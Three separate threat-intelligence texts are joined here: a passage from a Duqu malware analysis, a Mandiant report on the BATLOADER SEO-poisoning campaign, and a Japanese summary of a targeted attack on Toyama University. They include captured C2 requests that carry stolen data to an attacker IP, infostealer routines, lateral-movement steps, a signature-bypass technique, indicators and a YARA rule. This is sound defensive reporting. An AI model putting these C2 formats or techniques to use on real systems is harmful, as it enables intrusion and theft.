The template is an executable file with an empty loader component which may be used by the module to load and execute other modules, potentially downloaded through the command and control server. The configuration data contains a file name, %Temp%\~DR0001.tmp, the command and control server IP address of 206.183.111.97, and control flag bytes that influence its behavior. The command and control server is hosted in India. The configuration data is parsed and stored in separate objects.
The protocol works as follows. First, an initial HTTPS exchange occurs. For HTTPS, Duqu uses the Windows WinHTTP APIs, which have SSL support. The HTTPS exchange is believed to transfer a session key. Then, an HTTP GET request to the root directory occurs using standard socket APIs.
```
GET / HTTP/1.1
Cookie: PHPSESSID=spwkwq1mtuomg0g6h30jj203j3
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)
Host: 206.183.111.97
Connection: Keep-Alive
```
Note that the custom cookie field is unique per request. The server replies with an HTTP 200 OK response containing a small 54x54 white .jpg file.
```
HTTP/1.1 200 OK
Content-Type: image/jpeg
Transfer-Encoding: chunked
Connection: Close
```
The module expects certain fields and it parses the response for them. It only continues if they are found. It then makes a second HTTP POST request, uploading a default .jpg file that is embedded within the .zdata DLL, followed by data to send to the command and control server.
```
POST / HTTP/1.1
Cookie: PHPSESSID=spwkwq1tnsam0gg6hj0i3jg20h
Cache-Control: no-cache
Pragma: no-cache
Content-Type: multipart/form-data; boundary=---------------------------b1824763588154
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 (.NET CLR 3.5.30729)
Host: 206.183.111.97
Content-Length: 1802
Connection: Keep-Alive
---------------------------b1824763588154
Content-Disposition: form-data; name="DSC00001.jpg"
Content-Type: image/jpeg
[EMBEDDED JPEG AND STOLEN DATA]
```
The server then acknowledges with:
```
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 0
```
The data following the JPG is encrypted data that the client wishes to send to the command and control server. The data is AES-encrypted using the prenegotiated session key and has the following format:
```
00 BYTE[12] header, semi-fixed, starts with ‘SH’
0C BYTE type of payload
0D DWORD payload size (n)
11 DWORD sequence number
15 DWORD ack number / total size
19 DWORD unknown
1D BYTE[n] payload (encrypted, or encoded)
```
The sequence number will increment with each transaction. Example types include 0x02, 0x05, 0x14, 0x0C, 0x44. Typically the payload type will be set to 0x24, which is just a ping-type request. More information on each type and their content will be published in a future edition, as the full scope of the command and control functionality is still being investigated. The server can actually respond with encrypted data that will be decrypted and trigger further actions.
### Peer-to-Peer Command and Control
The peer-to-peer SMB protocol is not configured by default for use, but has been seen configured for use in cases where a computer cannot reach the external C&C server. The attackers set a byte in the configuration file to one, and instead of an IP address, provide a string representing a remote resource (e.g., \\RemoteServer\). Typically, the remote resource would be a peer-infected computer.
The peer-to-peer command and control protocol uses IPC (Inter Process Communication) over SMB (Server Message Block), also known as Named Pipes. In particular, a newly infected computer will typically be configured to connect back to the infecting computer through \\[INFECTING COMPUTER]\IPC$ using a predefined named pipe. The peer computer (which was previously the infecting computer) then proxies the C&C traffic to the external C&C server.
This is a very clever technique for spreading through a network. Most secure networks are configured to have a “secure” zone, where internal servers are located. This zone is heavily monitored and controlled. Outside this zone is a less well-protected network: the general corporate network. As Duqu spreads through the network, moving from less secure to more secure areas, it is able to always retain a connection back to the C&C server. It effectively builds a private bridge between compromised computers, leading back to the C&C server. A second aspect of this technique is that it is discreet. Only one compromised computer in the network will connect directly to the C&C server, thus reducing the amount of suspicious traffic.
### Downloaded Threats
Using the Duqu command and control server, the attackers have the ability to download and execute additional binaries. We have recovered four additional binaries to date. One was resident on a compromised computer as a temporary file, while we observed Duqu downloading the other three on October 18 and injected straight into memory—not saved on disk.
**Infostealer 1**
This is a standalone executable. This file, while recovered on compromised computers, is not found within the other executables. This file was likely downloaded by Duqu at some time, or downloaded to the compromised computer through other means. The file has a number of similarities with the other samples analyzed. In particular, the primary functionality is performed by exported functions from a DLL contained within the executable. In addition, the contained DLL is stored as encrypted data in a JPEG file, similar to the command and control technique.
The file is an infostealer. When executed, it extracts the encrypted DLL from a JPEG stored within it and then executes export number 2 of that DLL. The DLL steals data and stores it in a randomly numbered file in the user’s %Temp% folder, prepending the log files with ~DQ (e.g., ~DQ7.tmp). The file is compressed using bzip2 and then XOR-encrypted. The recorded data can consist of:
- Lists of running processes, account details, and domain information
- Drive names and other information, including those of shared drives
- Screenshots
- Network information (interfaces, routing tables, shares list, etc.)
- Key presses
- Open window names
- Enumerated shares
- File exploration on all drives, including removable drives
- Enumeration of computers in the domain through NetServerEnum
The executable’s behavior is determined through optional command-line parameters. The usage format is as follows:
```
program xxx /in <cmdfile> /out <logfile>
```
- If cmdfile is not present, a default encrypted command blob is used, stored as one of the infostealer’s resources.
- If log file is not present, the log will be dumped to a random .tmp file in user’s %Temp% folder, prefixed with ~DQ (e.g., ~DQ7.tmp).
The other Infostealer’s resource is the Infostealer DLL itself, embedded in a .jpg file. The executable simply loads the DLL inside winlogon or svchost, and executes the appropriate export:
- _1 (unused), similar to _2
- _2 main
- _3 (unused), similar to _2
- _4 restart infostealer
- _5 quit infostealer
The command blob determines what should be stolen and at which frequency. The DLL offers nine main routines:
- 65h: List of running processes, account details, and domain information
- 66h: Drive names and information, including those of shared drives
- 68h: Take a screenshot
- 69h: Network information (interfaces, routing tables, shares list, etc.)
- 67h: Keylogger
- 6Ah: Window enumeration
- 6Bh: Share enumeration
- 6Dh: File exploration on all drives, including removable drives
- 6Eh: Enumerate computers on the domain through NetServerEnum
The standard command blob (used when cmdfile is not specified) is:
- 65h, frequency=30 seconds
- 66h, frequency=30 seconds
- 68h, frequency=30 seconds
- 69h, frequency=30 seconds
- 67h, frequency=30 seconds
- 6Ah, frequency=30 seconds
- 6Bh, frequency=30 seconds
- 6Dh, frequency=30 seconds
Note: The threat only uses eight routines (6Eh is not used).
**Infostealer 2**
We observed Duqu downloading files on October 18 with MD5 92aa68425401ffedcfba4235584ad487, which was compiled on Tuesday, August 09, 2011, at 21:37:39 PST. This file is very similar to the standalone infostealer 1 executable described previously; however, it is a DLL this time. It is also newer (August 9 vs. May 31 for the executable) and offers less functionality than the executable. The functions offered are only seven stealing routines (nine previously):
- List of running processes, plus account and domain
- List drive names and information, including shared drives
- Screenshot
- Network information (interfaces, routing tables, and shares list)
- Windows enumeration
- Share enumeration
- Share browse
The following functions no longer exist:
- Keylogger
- File exploration on all drives, including removable drives
- Domain’s servers enumeration (using NetServerEnum)
**Reconnaissance Module**
We observed Duqu downloading files on October 18 with MD5 4c804ef67168e90da2c3da58b60c3d16, which was compiled on Monday, October 17, 2011, at 17:07:47 PST. It is a reconnaissance module DLL used to get system information. It obtains the following information:
- Is the computer part of a domain?
- The current module name, PID, session ID, Windows folder, and %Temp% folder.
- OS version, including if it is 64-bit OS.
- Account name of the running process.
- Information on Network adapters.
- Time information, including local and system times, as well as time zone information and DST bias.
**Lifespan Extender Module**
We observed Duqu downloading files on October 18 with MD5 856a13fcae0407d83499fc9c3dd791ba, which was compiled on Monday, October 17, 2011, at 16:26:09 PST. Used to increase the lifetime of the threat, it is a small DLL that can be used to update the “daycount” field of the main configuration data block of Duqu. As previously described, Duqu checks this lifetime value and removes itself if it falls outside the time period. The DLL can also gather the size of files in the Windows folder (file names are caller-provided).
### Replication
**Network Spreading**
Based on forensic analysis of compromised computers, we are able to understand how the attackers moved laterally across the network and infect further computers. Some of the methods used in this case may vary from other attacked organizations as the behavior is not hard-coded into the threat, but actively conducted by the attackers.
When Duqu first compromises a target network, the threat contacts a C&C server. We know from the initial analysis by CrySyS, and confirmed by ourselves, that one of the files downloaded by Duqu from the C&C server is a keylogger. This keylogger enables the attacker to intercept passwords for the local network and any other services accessed by the victim. Additional files downloaded from the C&C server allow the attacker to survey the local network, finding additional network servers and clients. When the attacker has accumulated passwords and located various computers of interest on the local network, he or she can then begin the process of spreading Duqu across the network.
The first step is to copy Duqu onto the target computer over a shared folder. The infecting computer is able to authenticate to the target by using the credentials intercepted by the keylogger. The next step is to trigger execution of that copied sample on the target computer. This is done by creating a scheduled task on the target computer, which executes the copied version of Duqu.
At this point, Duqu is running on the target computer. The newly infected target computer does not connect back to the C&C server to receive commands. Instead, it checks its configuration file as it loads. This configuration file instructs it to connect back to the infecting computer to receive commands, as described in the command and control section.
### Variants
The following section discusses the differences seen in the minor variants of Duqu.
**CMI4 432.SYS**
This is functionally equivalent to JMINE T7.SYS except that CMI4 432.SYS is digitally signed. The signature information is displayed in figure 10.
**CMI4 432.PNF**
This file is a more recent variant of netp191.pnf. The differences between Netp191 and CMI4 432.PNF are shown in figure 11. Further, the RPC component (export 7) is removed from this variant as only a small portion of the RPC code was being used for loading resource 302. This is the only part of the routine that remains and is not exposed through RPC anymore. In addition, export 2, get_version, is also removed.
## Acknowledgements
We wish to thank CrySyS of Budapest University of Technology and Economics, who notified us of the sample, provided their research and samples, and have continued to work with us.
## Appendix
### File Hashes
| MD5 | File Compilation Date | File Name | Comment |
|-----|-----------------------|------------|---------|
| 0a5666b1616c8afeef214372b1a0580c | 7/17/2011 7:12 | cmi4 432.pnf | Encrypted DLL loaded by cmi4 432.sys |
| 0eecd17c6c215b358b7b872b74bfd800 | 11/3/2010 17:25 | jminet7.sys | Originally discovered file |
| 3B51F48378A26F664BF26B32496BD72A | | adp55xx.sys | Sys file |
| 3d83b077d32c422d6c7016b5083b9fc2 | 10/17/2011 20:06 | adpu321.sys | Sys file obtained from VirusTotal |
| 45 41e850a228eb69fd0f0e924624b245 | 11/3/2010 17:25 | cmi4 432.sys | Originally discovered file |
| 4c804ef67168e90da2c3da58b60c3d16 | 10/18/2011 1:07 | N/A | Recon DLL pushed by the C&C |
| 7A331793E65863EFA5B5DA4FD5023695 | 11/4/2010 16:48 | iddr021.pnf | main dll |
| 856a13fcae0407d83499fc9c3dd791ba | 10/18/2011 0:26 | N/A | “Lifetime” updater pushed by C&C |
| 92aa68425401ffedcfba4235584ad487 | 8/10/2011 5:37 | N/A | Reduced functionality infostealer pushed by C&C |
| 94c4ef91dfcd0c53a96fdc387f9f9c35 | | netp192.pnf | Config file loaded by netp191.PNF |
| 9749d38ae9b9ddd81b50aad679ee87ec | 6/1/2011 3:25 | keylogger.exe | Originally discovered infostealer |
| a0a976215f619a33bf7f52e85539a513 | 10/17/2011 20:06 | | igdkmd16b.sys |
| a1d2a954388775513b3c7d95ab2067 | 11/3/2010 10:25 | | nfred965.sys |
| b4ac366e24204d821376653279cbad86 | 11/4/2010 16:48 | netp191.PNF | Encrypted DLL loaded by jminet7.sys |
| c9a31ea148232b201fe7cb7db5c75f5e | 10/17/2011 20:06 | nfred965.sys | Sys file obtained from European organization |
| dccffd4d2fc6a602bea8fdc1fa613dd4 | | allide1.sys | |
| e8d6b4dadb96ddb58775e6c85b10b6cc | | cmi4 464.PNF | Config file loaded by cmi4 432.pnf |
| f60968908f03372d586e71d87fe795cd | 11/3/2010 17:25 | nred961.sys | Sys file obtained from European organization |
### Diagnostics
The following traces may indicate an infection of Duqu:
- Unexpected connections to 206.183.111.97 or 77.241.93.160.
- The existence of the following registry entry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\“CFID”
- Unknown drivers in %System%\Drivers.
- A services registry subkey with the following attributes:
- “ImagePath” matching the unknown driver found in %System%\Drivers
- “Start” = “1”
- “Type” = “1”
- “FILTER” has unknown hex data for a value
- “DisplayName”, “Description”, and “keyname” all match
- Drivers signed by unknown publishers that expire on August 2, 2012.
- Recent .pnf files in %Windir%\INF:
- Are either under 10K or ~200K in size
- Do not have a corresponding *.INF file
- Have no ASCII strings inside
- Unexpected scheduled tasks or job files. (These can be seen by unexpected modification time to the Tasks folder.)
- An Event Log entry matching the following attributes:
- An EventID of 0xC0002719 or 3221235481
- Event type: 1 (Error)
- Event source: DCOM
- May have the following description:
DCOM was unable to communicate with the computer (computer name) using any of the configured protocols.
### Version History
- **Version 1.0 (October 18, 2011)**: Initial publication.
- **Version 1.1 (October 19, 2011)**: Removed duplicate Note from Executive Summary. Fixed minor typos.
- **Version 1.2 (October 20, 2011)**: Updated paper with information about latest samples. Replaced image in figure 1 with zoomable, vector graphic. Added Downloaded threats section. Expanded information in File hashes appendix. Added Version history section. Minor edits.
- **Version 1.3 (November 1, 2011)**: Added the following new sections:
- Geographic distribution
- Installation
- Peer-to-peer command and control
- Infostealer 2
- Reconnaissance module
- Lifespan extender module
- Replication
- Diagnostics
- Updated tables in File history and File hashes sections. Significant content updates throughout. |
# Zoom For You — SEO Poisoning to Distribute BATLOADER and Atera Agent
**Ng Choon Kiat, Angelo Del Rosario, Martin Co**
**Feb 01, 2022**
**7 min read**
While defending our customers against threats, Mandiant Managed Defense continues to see new threats that abuse trust in legitimate tools and products to carry out their attacks. These attacks are effective in getting past security defenses and staying undetected in a network.
Through proactive threat hunting, our Managed Defense frontline team uncovered a campaign that used search engine optimization (SEO) poisoning to lead victims to download the BATLOADER malware for the initial compromise. We also observed a crafty defense evasion technique using mshta.exe, a Windows-native utility designed to execute Microsoft HTML Application (HTA) files.
SEO poisoning is an attack method in which threat actors create malicious websites packed with keywords and use search engine optimization techniques to make them show up prominently in search results.
## Infection Chain
The threat actor used “free productivity apps installation” or “free software development tools installation” themes as SEO keywords to lure victims to a compromised website and to download a malicious installer. The installer contains legitimate software bundled with the BATLOADER malware. The BATLOADER malware is dropped and executed during the software installation process.
This initial BATLOADER compromise was the beginning of a multi-stage infection chain that provides the attackers with a foothold inside the target organization. Every stage was prepared for the next phase of the attack chain. Legitimate tools such as PowerShell, Msiexec.exe, and Mshta.exe allow proxy execution of malicious payloads to avoid detection.
### CVE-2020-1599 Patch Bypass
One notable sample found in the attack chain was a file named “AppResolver.dll.” This DLL sample is an internal component of the Microsoft Windows Operating System developed by Microsoft, but with malicious VBScript embedded inside in a way that the code signature remains valid. The DLL sample does not execute the VBScript when run by itself. But when run with Mshta.exe, Mshta.exe locates and executes the VBScript without any issues.
This issue most closely resembles CVE-2020-1599, where the PE Authenticode signature remains valid after appending HTA supported scripts signed by any software developer. These PE+HTA polyglot (.hta files) can be exploited through Mshta.exe to bypass security solutions that rely on Microsoft Windows code signing to decide if files are trusted. This issue was patched as CVE-2020-1599.
In this case, we observed arbitrary script data was appended to the signature section beyond the end of the ASN.1 of a legitimately signed Windows PE file. The resultant polyglot file maintains a valid signature as long as the file has a file extension other than '.hta'. This polyglot file will successfully execute the script contents if it is executed with Mshta.exe, as Mshta.exe will skip the PE's bytes, locate the script at the end, and execute it. This evasion technique was used several times during the attack chain to change the host settings and to launch payloads.
At the latter stages, goodware such as Gpg4win Utility, NSUDO Utility, ATERA, and SplashTop are seen installed as part of the attack chain of this campaign. These are to support remote access, privilege escalation, launching of payloads, encryption, and persistence. There was also malware such as BEACON and URSNIF deployed to provide backdoor and credential-stealing capabilities.
## Attack chain of the BATLOADER campaign
### An Alternate Infection Chain
Alternatively, the Threat Actor may deploy ATERA directly as the initial compromise. Similarly, through SEO poisoning, victims were lured to download an ATERA Agent Installation Package. The installer masquerades as a “free legitimate software” to lure the victim into installing it onto the host for the initial compromise.
ATERA is a Remote Monitoring Management Software. It provides IT Automation, Host, and Network Discovery features. SplashTop is software that can be integrated into ATERA to provide remote access to a host. The infection chain is as follows:
1. A user performs a Google search and clicks a link to an actor-created page on a compromised website.
2. The benign blog post will abuse a Traffic Direction System (TDS) to decide if the user should be directed to a webpage that masquerades as a message board that has posted a download link.
3. The download link delivers the ATERA Agent Installer Package, named after the search term.
4. An example of the installation of an ATERA Agent masquerading as “Microsoft Community Visual Studio 2015 Free.msi.”
5. After the successful ATERA Agent installation, the Splashtop will be downloaded to the C:\Windows\Temp directory and installed on the victim’s host to maintain persistence.
6. After the successful ATERA Agent installation, the ATERA Remote Monitoring & Management capabilities will push down pre-configured scripts, tools such as Splashtop Streamer to be installed and run on the victim’s host in a real-time and automated fashion.
7. The ATERA Agent will remove itself after the successful Splashtop Streamer installation. The default configuration of the Splashtop Streamer is set to AutoStart running in the background without security authentication to connect to the victim’s host to maintain persistence.
8. Scripts were also pushed down by ATERA Agent to perform malicious tasks such as disabling functionalities and adding process and file exclusions for Microsoft Windows Defender.
## Attribution
In August 2021, a disgruntled CONTI affiliate leaked training documents, playbooks, and tools used to assist in CONTI ransomware operations. Mandiant has determined that some of the activity listed above overlaps with techniques in the playbooks disclosed in August. At this time, due to the public release of this information, other unaffiliated actors may be replicating the techniques for their own motives and objectives. These victims seem to operate in a wide range of industries. The threat group's motivations are currently unknown, but we suspect that the group is financially motivated based on the seemingly industry-agnostic leading to ransomware activity.
## Managed Defense Threat Hunting
Experienced defenders from Managed Defense are constantly inspired by Mandiant’s global cyber threat intelligence and incident response experiences gained on the frontlines of the world’s most consequential cyber-attacks. Fueled by up-to-the-minute threat intelligence, the Managed Defense threat hunting team designs and conducts hunt missions to reveal the stealthiest threat actors. Mandiant threat hunting combines powerful data analytics, automation, and elite experts with intuition and frontline experience. You can follow our hunters as their work unfolds in the Managed Defense portal. Each mission is mapped to the MITRE ATT&CK framework and includes related intelligence so you can take decisive action throughout your environment.
## Technical Indicators & Warnings
**MD5**
- 1440caafb45e52b0b315c7467fcde11f
- 2077d8a65c8b08d64123c4ba3f03cbdd
- 2141919f65ab3ff4eab25e5032e25598
- 229152f0b00d55796780b00c233bf641
- 29bc15a6f0ff99084e986c3e6ab1208c
- 2b16a731a2e4dedfa3db0bf3068614bc
- 32885d012fa3b50199d7cde9735bcb8a
- 32cd02c4cd8938645a744b915056d133
- 3393bd9d04be1ff4e537464e1b79d078
- 3abbec0420aaf7a9960d9eabc08006d5
- 3e06c87faede153d4dab5ef1066fe0d7
- 3ed96f460438e7fddaa48e96c65cb44c
- 428166c513ed98c72e35fe127a9b5be6
- 48942b45679b3646000ac2fb6a99e0ed
- 5376112bebb371cdbe6b2a996fb6dae6
- 5cae01aea8ed390ce9bec17b6c1237e4
- 60db9dff2e50e00e937661d2a6950562
- 67a4f35cae2896e3922f6f4ab5966e2b
- 6ad4e37221adf3861bfa99a1c1d5faaa
- 6cd13e6429148e7f076b479664084488
- 7127cbc56e42fc59a09fd9006dd09daa
- 7575ecc5ac5ac568054eb36a5c8656c4
- 849b46e14df68dd687e71c7df8223082
- 8eb5f0bbd73b5ca32e60deb34e435320
- 9ed2084c6c01935dc5bb2508357be5a6
- 9f03ad59cb06b40e6187ef6d22d3b76b
- a046e40693a33a1db2aec6d171d352ce
- a0b793ff07493951ed392cdc641d3d62
- a45c0a83ce2ea52d8edf915b1e169b8f
- b4a8b58857649fad1cf8f247a0496c95
- b850920c95b694f63aa47fc991396457
- b9c9da113335874d0341f0ac1f5e225d
- bd20223cb57c55559db81f17ef616070
- c02916697ed71e5868d8ea456a4a1871
- c08de039a30c3d3e1b1d18a9d353f44c
- c12452167e810cde373d7a59d3302370
- c9be3451e713382ecf0f7da656cef657
- cb1fcc1c0c35cd4e0515b8bf02ba3303
- d14b4a96edf70c74afe3d99101daaff8
- e33847174fbd2b09abc418c1338fceec
- e5decd05056634eace35396a22148bf1
- e66ba648666c823433c473e6cfc2e4fc
- e6c2dd8956074363e7d6708fb8063001
- f535505f337708fbb41cdd0830c6a2d4
**Network Indicators**
- cmdadminu[.]com
- zoomvideo-s[.]com
- cloudfiletehnology[.]com
- commandaadmin[.]com
- clouds222[.]com
- websekir[.]com
- team-viewer[.]site
- zoomvideo[.]site
- sweepcakesoffers[.]com
- pornofilmspremium[.]com
- kdsjdsadas[.]online
- bartmaaz[.]com
- firsone1[.]online
- 178.21.11[.]77
- 193.124.18[.]128
## YARA
```yara
rule M_Hunting_Downloader_BATLOADER_1 {
meta:
author = "Mandiant"
date_created = "2021-10-28"
date_modified = "2021-10-28"
version = "1.0"
description = "Detects strings for BATLOADER sample"
md5 = "6cd13e6429148e7f076b479664084488"
strings:
$s1 = "launch.bat" ascii
$s2 = "Error writing to batch file:" ascii
$s3 = "cmd.exe" ascii
$s4 = "/C" ascii
$s5 = "You entered an invalid email, please enter the email that was registered on website." ascii
condition:
uint16(0) == 0x5A4D and filesize > 4KB and filesize < 5MB and all of them
}
```
## MITRE ATT&CK Mapping
| ATT&CK Tactic Category | Techniques |
|------------------------|------------|
| Reconnaissance | Search Open Websites/Domains (T1593.002), Search Engines (T1593.002) |
| Resource Development | Compromise Infrastructure (T1584), Stage Capabilities (T1608), Upload Malware (T1608.001), Develop Capabilities (T1587), Malware (T1587.001) |
| Initial Access | Supply Chain Compromise (T1195) |
| Execution | User Execution (T1204), Malicious File (T1204.002), Command and Scripting Interpreter (T1059), PowerShell (T1059.001), Windows Command Shell (T1059.003), Visual Basic (T1059.005) |
| Persistence | Boot or Logon Autostart Execution (T1547), Registry Run Keys / Startup Folder (T1547.001) |
| Privilege Escalation | External Remote Services (T1133) |
| Defense Evasion | Masquerading (T1036), Obfuscated Files or Information (T1027), Indicator Removal on Host (T1070), File Deletion (T1070.004), Signed Binary Proxy Execution (T1218), Mshta (T1218.005), Msiexec (T1218.007), Impair Defenses (T1562), Impair Defenses: Disable or Modify Tools (T1562.001) |
| Credential Access | Steal or Forge Kerberos Tickets: Kerberoasting (T1558) |
| Discovery | System Information Discovery (T1082), System Network Configuration Discovery (T1016) |
| Command and Control | Remote Access Software (T1219) |
## Acknowledgements
Special thanks to Alip Asri for creating the IOCs for the Hunting Missions, and to Ana Maria Martinez Gomez, Tufail Ahmed, Stephen Eckels, Dhanesh Kizhakkinan, and Jacob Thompson for their assistance on the topic. |
# 富山大学水素同位体科学研究センターに対する標的型サイバー攻撃について(概要)
## 経緯
- H28.6/14(火) 外部機関から本学PCのウィルス感染の可能性ありとの情報提供があり、水素同位体科学研究センター非常勤職員が使用するPCがウィルスに感染していたことが判明。直ちに学内調査を開始(通信ログの解析)。
- 6/16(木) 文科省にインシデントの概要、被害状況、外部機関への連携状況等について第1報を報告。当該PC内保有情報の学内調査、分析を開始。
- 6/27(月) 通信ログの解析終了(学内調査)。文科省に今後の再発防止策、当該職員の対応・認識状況、ログの解析状況等について第2報として追加報告。
- 7/6(水) 外部専門業者による詳細な解析開始。
- 8/3(水) 当該PC内保有情報の学内調査、分析終了。
- 8/31(水) 外部専門業者より調査結果の報告。その後、大学において漏えいした情報の内容を確認・評価。
- 9/27(火) 文科省へ調査状況の報告。
- 10/7(金) 関係機関へ連絡開始。
## 調査結果
- 学内調査(通信ログ等)及び外部専門業者の解析結果から判明した事項
1. zip形式のファイルが添付された不審メールを2回受信(ファイル展開はなかった)(受信日:平成27年11月5日、平成27年11月17日)。
2. 標的型メールを受信し、添付ファイル(zip形式)を展開したことによるウィルス感染(受信及び感染日:平成27年11月24日)。
3. 外部サーバとの不審な通信(4件)、不審なファイルの作成。
- (ア) supportservice247.com(平成27年11月24日~平成28年4月29日)。
- (イ) requestword.com(平成27年11月26日~平成28年2月29日)。不審なファイル(1ファイル2MBのrar形式)の作成及び消去の形跡。同様なファイルの1,000個以上の作成(総容量は圧縮状態で2GB以上と推測)。同時間帯における大量な通信(8GByte以上)の発生。
- (ウ) enewsdatabank.com(平成28年2月29日~平成28年6月14日)。不審なファイル(zip形式)の作成(平成28年3月10日)。同時間帯における大量な通信の発生。
- (エ) housemarket21.com(平成28年4月28日、平成28年6月14日)。
- 当該PC内保有情報
- 平成6年から平成28年6月13日までの電子ファイルを保有。
- 全フォルダー数:7,034個。
- 全ファイル数:59,318個。
- 総容量:40.2GB。
### 当該PC内保有情報に関する調査結果
- 全ファイル数のうち展開できたファイル:41,706個。
- 展開できたファイルのうち、詳細な確認を要するファイルとして内容を精査、確認。
- ア.個人に関する情報:展開できたファイルのうち、1,492名分の個人に関する情報が含まれていた。
- 【内訳】
- 本学学生:15名分。
- 他大学及び試験研究機関所属:1,316名分。
- 企業(企業の研究所を含む):52名分。
- 官公庁関係:3名分。
- その他:106名分。合計1,492名分。
- イ.研究に関する情報:汚染水から放射性物質を分離・除去する技術等をテーマとした外部資金申請関係や学会発表、実験データなどの研究に関する情報(発表等されている公知のもの、公開を前提のものであり、機密情報に該当しない)。
## 課題
- 情報セキュリティ実施体制の整備及びログ監視体制の強化。
- 全学的な情報セキュリティ対策を実施するための組織体制の見直し、整備。
- 不正アクセス、ウィルス感染等の監視体制の強化。
- 関係規則等の整備。
- 情報の格付けに関する規程、インシデント発生時の対応手順等関係規程の整備。
- 教育・研修の実施。
- 全職員・学生に対する教育の徹底。
- 非常勤職員を含む職員に対する個人情報保護規則遵守の一層の周知徹底。
## 今後の再発防止策
- 全学的な情報セキュリティ実施体制、インシデント対応手順書等の整備。
- 情報セキュリティポリシーを見直し、CISO、CSIRTの設置を含めた実施体制の整備。
- 情報セキュリティインシデント対策基準、情報の格付けに関する規程、パスワードの設定に係るガイドライン等の整備。
- 情報セキュリティ教育・訓練や啓発活動の実施。
- 個人情報保護及び情報セキュリティに関する基礎研修(e-learning)の受講を全職員、全学生に義務化。
- 学内講習会にて、ウィルスに感染しないための教育及び感染した場合の対応に関する教育並びに個人情報の適切な管理に関する教育の実施。
- 情報管理関係の利用手引の見直しを行い、全職員に改めて配付。
- 全職員に対し、不正アクセスやウィルス感染等の異常があった際の報告の義務化。
- 情報機器の管理状況の把握及び必要な措置の実施。
- 標的型攻撃検知システムを導入し、ログ監視体制の更なる強化。
- 情報セキュリティ検査(ポートスキャン)の継続的実施。
- 情報セキュリティ対策基本計画の策定等。
- 情報セキュリティ対策基本計画の策定。
- 工程表による進捗状況のチェック及びPDCAサイクルの実行。
- 危機管理体制の整備。
- 全学的なリスク管理及び危機事案の情報管理を行う危機管理体制の整備。 |
Subsets and Splits